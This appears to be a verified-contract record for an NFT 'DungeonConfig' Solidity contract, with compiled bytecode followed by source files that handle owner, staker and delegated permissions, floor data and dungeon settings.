565b600880546109db90612fcc565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0790612fcc565b8015610a525780601f10610a2957610100808354040283529160200191610a52565b820191905f5260205f20905b815481529060010190602001808311610a3557829003601f168201915b505050505081565b825f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b8152600401610aba91906132d0565b602060405180830381865afa158015610ad5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610af991906132fd565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480610b93575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015610b925750610b918333612758565b5b5b15610c0657604051806040016040528085815260200160035f8981526020019081526020015f205481525060055f8881526020019081526020015f205f8781526020019081526020015f205f820151815f019081610bf19190613199565b5060208201518160010155905050505061109c565b5f60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090503373ffffffffffffffffffffffffffffffffffffffff16815f015173ffffffffffffffffffffffffffffffffffffffff1603610e4b575f8273ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff161480610dd1575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610dd05750610dcf858360200151612758565b5b5b90508015610e4957604051806040016040528087815260200160035f8b81526020019081526020015f205481525060055f8a81526020019081526020015f205f8981526020019081526020015f205f820151815f019081610e329190613199565b50602082015181600101559050505050505061109c565b505b5f60065f8681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090505f3373ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff16148015610fed57508373ffffffffffffffffffffffffffffffffffffffff16825f015173ffffffffffffffffffffffffffffffffffffffff161480610fec575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610feb5750610fea86835f0151612758565b5b5b5b90508061102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690613372565b60405180910390fd5b604051806040016040528088815260200160035f8c81526020019081526020015f205481525060055f8b81526020019081526020015f205f8a81526020019081526020015f205f820151815f0190816110889190613199565b506020820151816001015590505050505050505b50505050565b815f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b815260040161110291906132d0565b602060405180830381865afa15801561111d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114191906132fd565b90505f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156111a657506111a58433612758565b5b90503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806111df5750805b61121e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611215906133da565b60405180910390fd5b60405180604001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1681525060065f8881526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550905050858573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fdfe4038b7a47a54e9cb9a74936e28ebea8370918b17bb83cab7225cfc1e1e5c560405160405180910390a4505050505050565b805f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b81526004016113c091906132d0565b602060405180830381865afa1580156113db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ff91906132fd565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480611499575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561149857506114978333612758565b5b5b156114cd57600160035f8681526020019081526020015f205f8282546114bf9190613425565b9250508190555050506118e5565b5f60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090503373ffffffffffffffffffffffffffffffffffffffff16815f015173ffffffffffffffffffffffffffffffffffffffff16036116d3575f8273ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff161480611698575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116975750611696858360200151612758565b5b5b905080156116d157600160035f8881526020019081526020015f205f8282546116c19190613425565b92505081905550505050506118e5565b505b5f60065f8681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090505f3373ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff1614801561187557508373ffffffffffffffffffffffffffffffffffffffff16825f015173ffffffffffffffffffffffffffffffffffffffff161480611874575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611873575061187286835f0151612758565b5b5b5b9050806118b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ae90613372565b60405180910390fd5b600160035f8981526020019081526020015f205f8282546118d89190613425565b9250508190555050505050505b5050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196d576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004602052805f5260405f205f91509050805f015f9054906101000a900460ff1690806001015490806002015f9054906101000a900460ff1690806003018054611a4390612fcc565b80601f0160208091040260200160405190810160405280929190818152602001828054611a6f90612fcc565b8015611aba5780601f10611a9157610100808354040283529160200191611aba565b820191905f5260205f20905b815481529060010190602001808311611a9d57829003601f168201915b505050505090806004018054611acf90612fcc565b80601f0160208091040260200160405190810160405280929190818152602001828054611afb90612fcc565b8015611b465780601f10611b1d57610100808354040283529160200191611b46565b820191905f5260205f20905b815481529060010190602001808311611b2957829003601f168201915b505050505090806005018054611b5b90612fcc565b80601f0160208091040260200160405190810160405280929190818152602001828054611b8790612fcc565b8015611bd25780601f10611ba957610100808354040283529160200191611bd2565b820191905f5260205f20905b815481529060010190602001808311611bb557829003601f168201915b5050505050905086565b60405180604001604052808273ffffffffffffffffffffffffffffffffffffffff1681526020013373ffffffffffffffffffffffffffffffffffffffff1681525060075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f209d7c70c1ab2adc07afcfbbaab11b6392ea49508eaef7028b6faf9a20d2234560405160405180910390a350565b6006602052805f5260405f205f91509050805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b865f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b8152600401611e0291906132d0565b602060405180830381865afa158015611e1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e4191906132fd565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480611edb575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611eda5750611ed98333612758565b5b5b15611f70575f60045f8c81526020019081526020015f20905089815f015f6101000a81548160ff02191690831515021790555088816001018190555087816002015f6101000a81548160ff02191690831515021790555086816003019081611f439190613199565b5085816004019081611f559190613199565b5084816005019081611f679190613199565b5050505061244a565b5f60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090503373ffffffffffffffffffffffffffffffffffffffff16815f015173ffffffffffffffffffffffffffffffffffffffff16036121d7575f8273ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff16148061213b575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561213a5750612139858360200151612758565b5b5b905080156121d5575f60045f8e81526020019081526020015f2090508b815f015f6101000a81548160ff0219169083151502179055508a816001018190555089816002015f6101000a81548160ff021916908315150217905550888160030190816121a69190613199565b50878160040190816121b89190613199565b50868160050190816121ca9190613199565b50505050505061244a565b505b5f60065f8681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090505f3373ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff1614801561237957508373ffffffffffffffffffffffffffffffffffffffff16825f015173ffffffffffffffffffffffffffffffffffffffff161480612378575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612377575061237686835f0151612758565b5b5b5b9050806123bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b290613372565b60405180910390fd5b5f60045f8f81526020019081526020015f2090508c815f015f6101000a81548160ff0219169083151502179055508b81600101819055508a816002015f6101000a81548160ff0219169083151502179055508981600301908161241e9190613199565b50888160040190816124309190613199565b50878160050190816124429190613199565b505050505050505b5050505050505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f9150915050805f0180546124a390612fcc565b80601f01602080910402602001604051908101604052809291908181526020018280546124cf90612fcc565b801561251a5780601f106124f15761010080835404028352916020019161251a565b820191905f5260205f20905b8154815290600101906020018083116124fd57829003601f168201915b5050505050908060010154905082565b6007602052805f5260405f205f91509050805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60605f60055f8581526020019081526020015f205f8481526020019081526020015f206040518060400160405290815f820180546125c590612fcc565b80601f01602080910402602001604051908101604052809291908181526020018280546125f190612fcc565b801561263c5780601f106126135761010080835404028352916020019161263c565b820191905f5260205f20905b81548152906001019060200180831161261f57829003601f168201915b50505050508152602001600182015481525050905060035f8581526020019081526020015f205481602001510361267957805f015191505061268c565b60405180602001604052805f8152509150505b92915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612716576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff166363c28db1856040518263ffffffff1660e01b81526004016127b89190612d64565b5f60405180830381865afa1580156127d2573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906127fa9190613530565b5090505f5b8151811015612842578582828151811061281c5761281b6135a6565b5b6020026020010151036128355760019350505050612849565b80806001019150506127ff565b505f925050505b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61289481612860565b811461289e575f80fd5b50565b5f813590506128af8161288b565b92915050565b5f602082840312156128ca576128c9612858565b5b5f6128d7848285016128a1565b91505092915050565b5f8115159050919050565b6128f4816128e0565b82525050565b5f60208201905061290d5f8301846128eb565b92915050565b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6129618261291b565b810181811067ffffffffffffffff821117156129805761297f61292b565b5b80604052505050565b5f61299261284f565b905061299e8282612958565b919050565b5f67ffffffffffffffff8211156129bd576129bc61292b565b5b6129c68261291b565b9050602081019050919050565b828183375f83830152505050565b5f6129f36129ee846129a3565b612989565b905082815260208101848484011115612a0f57612a0e612917565b5b612a1a8482856129d3565b509392505050565b5f82601f830112612a3657612a35612913565b5b8135612a468482602086016129e1565b91505092915050565b5f60208284031215612a6457612a63612858565b5b5f82013567ffffffffffffffff811115612a8157612a8061285c565b5b612a8d84828501612a22565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612abf82612a96565b9050919050565b612acf81612ab5565b8114612ad9575f80fd5b50565b5f81359050612aea81612ac6565b92915050565b5f60208284031215612b0557612b04612858565b5b5f612b1284828501612adc565b91505092915050565b5f819050919050565b612b2d81612b1b565b8114612b37575f80fd5b50565b5f81359050612b4881612b24565b92915050565b5f60208284031215612b6357612b62612858565b5b5f612b7084828501612b3a565b91505092915050565b612b8281612b1b565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612bbf578082015181840152602081019050612ba4565b5f8484015250505050565b5f612bd482612b88565b612bde8185612b92565b9350612bee818560208601612ba2565b612bf78161291b565b840191505092915050565b5f60e082019050612c155f83018a6128eb565b612c226020830189612b79565b612c2f60408301886128eb565b8181036060830152612c418187612bca565b90508181036080830152612c558186612bca565b905081810360a0830152612c698185612bca565b905081810360c0830152612c7d8184612bca565b905098975050505050505050565b5f6020820190508181035f830152612ca38184612bca565b905092915050565b5f805f60608486031215612cc257612cc1612858565b5b5f612ccf86828701612b3a565b9350506020612ce086828701612b3a565b925050604084013567ffffffffffffffff811115612d0157612d0061285c565b5b612d0d86828701612a22565b9150509250925092565b5f8060408385031215612d2d57612d2c612858565b5b5f612d3a85828601612b3a565b9250506020612d4b85828601612adc565b9150509250929050565b612d5e81612ab5565b82525050565b5f602082019050612d775f830184612d55565b92915050565b5f60c082019050612d905f8301896128eb565b612d9d6020830188612b79565b612daa60408301876128eb565b8181036060830152612dbc8186612bca565b90508181036080830152612dd08185612bca565b905081810360a0830152612de48184612bca565b9050979650505050505050565b5f604082019050612e045f830185612d55565b612e116020830184612d55565b9392505050565b612e21816128e0565b8114612e2b575f80fd5b50565b5f81359050612e3c81612e18565b92915050565b5f805f805f805f60e0888a031215612e5d57612e5c612858565b5b5f612e6a8a828b01612b3a565b9750506020612e7b8a828b01612e2e565b9650506040612e8c8a828b01612b3a565b9550506060612e9d8a828b01612e2e565b945050608088013567ffffffffffffffff811115612ebe57612ebd61285c565b5b612eca8a828b01612a22565b93505060a088013567ffffffffffffffff811115612eeb57612eea61285c565b5b612ef78a828b01612a22565b92505060c088013567ffffffffffffffff811115612f1857612f1761285c565b5b612f248a828b01612a22565b91505092959891949750929550565b5f8060408385031215612f4957612f48612858565b5b5f612f5685828601612b3a565b9250506020612f6785828601612b3a565b9150509250929050565b5f6040820190508181035f830152612f898185612bca565b9050612f986020830184612b79565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612fe357607f821691505b602082108103612ff657612ff5612f9f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026130587fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261301d565b613062868361301d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61309d61309861309384612b1b565b61307a565b612b1b565b9050919050565b5f819050919050565b6130b683613083565b6130ca6130c2826130a4565b848454613029565b825550505050565b5f90565b6130de6130d2565b6130e98184846130ad565b505050565b5b8181101561310c576131015f826130d6565b6001810190506130ef565b5050565b601f8211156131515761312281612ffc565b61312b8461300e565b8101602085101561313a578190505b61314e6131468561300e565b8301826130ee565b50505b505050565b5f82821c905092915050565b5f6131715f1984600802613156565b1980831691505092915050565b5f6131898383613162565b9150826002028217905092915050565b6131a282612b88565b67ffffffffffffffff8111156131bb576131ba61292b565b5b6131c58254612fcc565b6131d0828285613110565b5f60209050601f831160018114613201575f84156131ef578287015190505b6131f9858261317e565b865550613260565b601f19841661320f86612ffc565b5f5b8281101561323657848901518255600182019150602085019450602081019050613211565b86831015613253578489015161324f601f891682613162565b8355505b6001600288020188555050505b505050505050565b7f4e6f7420617574686f72697a656420746f207265766f6b6500000000000000005f82015250565b5f61329c601883612b92565b91506132a782613268565b602082019050919050565b5f6020820190508181035f8301526132c981613290565b9050919050565b5f6020820190506132e35f830184612b79565b92915050565b5f815190506132f781612ac6565b92915050565b5f6020828403121561331257613311612858565b5b5f61331f848285016132e9565b91505092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f61335c600e83612b92565b915061336782613328565b602082019050919050565b5f6020820190508181035f83015261338981613350565b9050919050565b7f43616c6c6572206973206e6f74206f776e6572206f72207374616b65720000005f82015250565b5f6133c4601d83612b92565b91506133cf82613390565b602082019050919050565b5f6020820190508181035f8301526133f1816133b8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61342f82612b1b565b915061343a83612b1b565b9250828201905080821115613452576134516133f8565b5b92915050565b5f67ffffffffffffffff8211156134725761347161292b565b5b602082029050602081019050919050565b5f80fd5b5f8151905061349581612b24565b92915050565b5f6134ad6134a884613458565b612989565b905080838252602082019050602084028301858111156134d0576134cf613483565b5b835b818110156134f957806134e58882613487565b8452602084019350506020810190506134d2565b5050509392505050565b5f82601f83011261351757613516612913565b5b815161352784826020860161349b565b91505092915050565b5f806040838503121561354657613545612858565b5b5f83015167ffffffffffffffff8111156135635761356261285c565b5b61356f85828601613503565b925050602083015167ffffffffffffffff8111156135905761358f61285c565b5b61359c85828601613503565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea26469706673582212203dc23070c7a85b8714e6f7f77f73ed1c4725904427e21c51dd96595963dc36fb64736f6c63430008180033	{"DungeonConfig.sol":{"content":"// SPDX-License-Identifier: MIT\r\n//\r\n// DungeonConfig by DungeonMaster/@DungeonSpawner\r\n\r\npragma solidity ^0.8.0;\r\n\r\nimport \"./Ownable.sol\";\r\n\r\ninterface IDungeon {\r\n function ownerOf(uint256 tokenId) external view returns (address owner);\r\n}\r\n\r\ninterface IDungeonRewards {\r\n function getStakedTokens(\r\n address owner\r\n )\r\n external\r\n view\r\n returns (uint256[] memory dungeons, uint256[] memory avatars);\r\n}\r\n\r\ncontract DungeonConfig is Ownable {\r\n ////////////////////////////////////////////////////////////////\r\n EVENTS\r\n ///////////////////////////////////////////////////////////////\r\n event AssignPerms(\r\n address indexed from,\r\n address indexed to,\r\n uint256 indexed tokenId\r\n );\r\n event AssignGlobalPerms(address indexed from, address indexed to);\r\n event RevokeGlobalPerms(address indexed from, address indexed to);\r\n\r\n ////////////////////////////////////////////////////////////////\r\n METADATA STORAGE/LOGIC\r\n ///////////////////////////////////////////////////////////////\r\n address public dungeonAddress;\r\n address public dungeonRewardsAddress;\r\n\r\n struct Permission {\r\n address grantedBy; // The address that granted the permission\r\n address grantedTo; // The address that received the permission\r\n }\r\n struct GlobalPermission {\r\n address grantedTo;\r\n address grantedBy;\r\n }\r\n\r\n struct FloorData {\r\n string txId; // transaction ID for the floor data\r\n uint256 version; // current version of the floor data (every resetAllFloors increments the version #, outdating previous entries)\r\n }\r\n\r\n struct DungeonData {\r\n bool locked;\r\n uint256 trialTimeout;\r\n bool randomizeLayout; // randomize layout indicates each floor after floor 1 has a random layout/environment\r\n string passwordHash; // DungeonMaster notes: not really secure, of course, since it\u0027s publically available, but the best we have\r\n string ownersMessage;\r\n string gameMode; // if starts with https:, NFT will redirect here after loading up (use for streaming via rumble, 3D client, etc)\r\n }\r\n\r\n // Mapping that tells us which version of the dungeon data we\u0027re dealing with \r\n // (reseting all floors increments the version # -- saves us gas from having to clear all the existing dungeon floor data)\r\n mapping(uint256 =\u003e uint256) private tokenVersions;\r\n\r\n mapping(uint256 =\u003e DungeonData) public dungeons;\r\n // Mapping from tokenId to a mapping of floorNumber to FloorData\r\n mapping(uint256 =\u003e mapping(uint256 =\u003e FloorData)) public dungeonFloors;\r\n\r\n mapping(uint256 =\u003e Permission) public tokenPermissions;\r\n // Mapping to store global permissions\r\n mapping(address =\u003e GlobalPermission) public globalPermissions;\r\n\r\n string public BASE_CODE_TXID = \"\"; // base code txid\r\n\r\n constructor(address _dungeonAddress, address _dungeonRewardsAddress) {\r\n dungeonAddress = _dungeonAddress;\r\n dungeonRewardsAddress = _dungeonRewardsAddress;\r\n }\r\n\r\n modifier onlyOwnerOrStaker(uint256 tokenId) {\r\n IDungeon dungeon = IDungeon(dungeonAddress);\r\n address owner = dungeon.ownerOf(tokenId);\r\n bool isStaker = owner == dungeonRewardsAddress \u0026\u0026\r\n isTokenStakedByAddress(tokenId, msg.sender);\r\n\r\n require(\r\n owner == msg.sender \|\| isStaker,\r\n \"Caller is not owner or staker\"\r\n );\r\n _;\r\n }\r\n\r\n function isTokenStakedByAddress(\r\n uint256 tokenId,\r\n address addressToCheck\r\n ) private view returns (bool) {\r\n IDungeonRewards rewards = IDungeonRewards(dungeonRewardsAddress);\r\n (uint256[] memory stakedDungeons, ) = rewards.getStakedTokens(\r\n addressToCheck\r\n );\r\n for (uint i = 0; i \u003c stakedDungeons.length; i++) {\r\n if (stakedDungeons[i] == tokenId) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n }\r\n\r\n modifier isPermitted(uint256 tokenId) {\r\n IDungeon dungeon = IDungeon(dungeonAddress);\r\n address owner = dungeon.ownerOf(tokenId);\r\n\r\n // First, check if msg.sender is the owner. If true, no further checks needed.\r\n if (\r\n owner == msg.sender \|\|\r\n (owner == dungeonRewardsAddress \u0026\u0026\r\n isTokenStakedByAddress(tokenId, msg.sender))\r\n ) {\r\n _;\r\n return;\r\n }\r\n\r\n // Global Permissions Check\r\n GlobalPermission memory globalPerm = globalPermissions[msg.sender];\r\n if (globalPerm.grantedTo == msg.sender) {\r\n bool isGlobalGrantorOwnerOrStaker = globalPerm.grantedBy == owner \|\|\r\n (owner == dungeonRewardsAddress \u0026\u0026\r\n isTokenStakedByAddress(tokenId, globalPerm.grantedBy));\r\n\r\n if (isGlobalGrantorOwnerOrStaker) {\r\n _;\r\n return;\r\n }\r\n }\r\n\r\n // Only proceed to check permissions if the sender is not the owner or a staker.\r\n Permission memory permission = tokenPermissions[tokenId];\r\n bool hasValidPermission = permission.grantedTo == msg.sender \u0026\u0026\r\n (permission.grantedBy == owner \|\|\r\n (owner == dungeonRewardsAddress \u0026\u0026\r\n isTokenStakedByAddress(tokenId, permission.grantedBy)));\r\n\r\n require(hasValidPermission, \"Not authorized\");\r\n\r\n _;\r\n }\r\n\r\n function writeDungeonConfig(\r\n uint256 tokenId,\r\n bool locked,\r\n uint256 trialTimeout,\r\n bool randomizeLayout,\r\n string memory passwordHash,\r\n string memory ownersMessage,\r\n string memory gameMode\r\n ) public isPermitted(tokenId) {\r\n DungeonData storage dungeon = dungeons[tokenId];\r\n dungeon.locked = locked;\r\n dungeon.trialTimeout = trialTimeout;\r\n dungeon.randomizeLayout = randomizeLayout;\r\n dungeon.passwordHash = passwordHash;\r\n dungeon.ownersMessage = ownersMessage;\r\n dungeon.gameMode = gameMode;\r\n }\r\n\r\n function readDungeonConfig(\r\n uint256 tokenId\r\n )\r\n public\r\n view\r\n returns (\r\n bool locked,\r\n uint256 trialTimeout,\r\n bool randomizeLayout,\r\n string memory passwordHash,\r\n string memory ownersMessage,\r\n string memory gameMode,\r\n string memory codeTxId\r\n )\r\n {\r\n DungeonData memory dungeon = dungeons[tokenId];\r\n return (\r\n dungeon.locked,\r\n dungeon.trialTimeout,\r\n dungeon.randomizeLayout,\r\n dungeon.passwordHash,\r\n dungeon.ownersMessage,\r\n dungeon.gameMode,\r\n BASE_CODE_TXID\r\n );\r\n }\r\n\r\n function writeFloorData(\r\n uint256 tokenId,\r\n uint256 floorNumber,\r\n string memory txId\r\n ) public isPermitted(tokenId) {\r\n // Store the transaction ID for the specific floor\r\n dungeonFloors[tokenId][floorNumber] = FloorData(txId, tokenVersions[tokenId]);\r\n }\r\n\r\n function readFloorData(\r\n uint256 tokenId,\r\n uint256 floorNumber\r\n ) public view returns (string memory) {\r\n FloorData memory floorData = dungeonFloors[tokenId][floorNumber];\r\n // Return the transaction ID for the specific floor\r\n if(floorData.version == tokenVersions[tokenId]) {\r\n return floorData.txId;\r\n } else {\r\n return \"\"; // Indicates no data for the current version\r\n } \r\n }\r\n\r\n function resetAllFloors(uint256 tokenId) public isPermitted(tokenId) { \r\n tokenVersions[tokenId] += 1; // Increment the version to \"reset\" the data\r\n }\r\n\r\n function assignPermission(\r\n uint256 tokenId,\r\n address to\r\n ) public onlyOwnerOrStaker(tokenId) {\r\n tokenPermissions[tokenId] = Permission(msg.sender, to);\r\n\r\n emit AssignPerms(msg.sender, to, tokenId);\r\n }\r\n\r\n // Assign global permission\r\n function assignGlobalPermission(address to) public {\r\n globalPermissions[to] = GlobalPermission({\r\n grantedTo: to,\r\n grantedBy: msg.sender\r\n });\r\n\r\n emit AssignGlobalPerms(msg.sender, to);\r\n }\r\n\r\n // Optional: Function to revoke global permission\r\n function revokeGlobalPermission(address to) public {\r\n require(\r\n globalPermissions[to].grantedBy == msg.sender,\r\n \"Not authorized to revoke\"\r\n );\r\n delete globalPermissions[to];\r\n emit RevokeGlobalPerms(msg.sender, to);\r\n }\r\n\r\n // set the ethscription txid of the base codebase\r\n function setBaseCodeTxid(string memory baseCodeTxid) public onlyOwner {\r\n BASE_CODE_TXID = baseCodeTxid;\r\n }\r\n\r\n // read the ethscription txid of the base codebase\r\n function getBaseCodeTxid() public view returns (string memory) {\r\n return BASE_CODE_TXID;\r\n }\r\n\r\n}\r\n"},"Ownable.sol":{"content":"// SPDX-License-Identifier: AGPL-3.0-only\r\npragma solidity ^0.8.10;\r\n\r\nerror NotOwner();\r\n\r\n// https://github.com/m1guelpf/erc721-drop/blob/main/src/LilOwnable.sol\r\nabstract contract Ownable {\r\n address internal _owner;\r\n\r\n event OwnershipTransferred(\r\n address indexed previousOwner,\r\n address indexed newOwner\r\n );\r\n\r\n modifier onlyOwner() {\r\n require(_owner == msg.sender);\r\n _;\r\n }\r\n\r\n constructor() {\r\n _owner = msg.sender;\r\n }\r\n\r\n function owner() external view returns (address) {\r\n return _owner;\r\n }\r\n\r\n function transferOwnership(address _newOwner) external {\r\n if (msg.sender != _owner) revert NotOwner();\r\n\r\n _owner = _newOwner;\r\n }\r\n\r\n function renounceOwnership() public {\r\n if (msg.sender != _owner) revert NotOwner();\r\n\r\n _owner = address(0);\r\n }\r\n\r\n function supportsInterface(bytes4 interfaceId)\r\n public\r\n pure\r\n virtual\r\n returns (bool)\r\n {\r\n return interfaceId == 0x7f5828d0; // ERC165 Interface ID for ERC173\r\n }\r\n}\r\n"}}
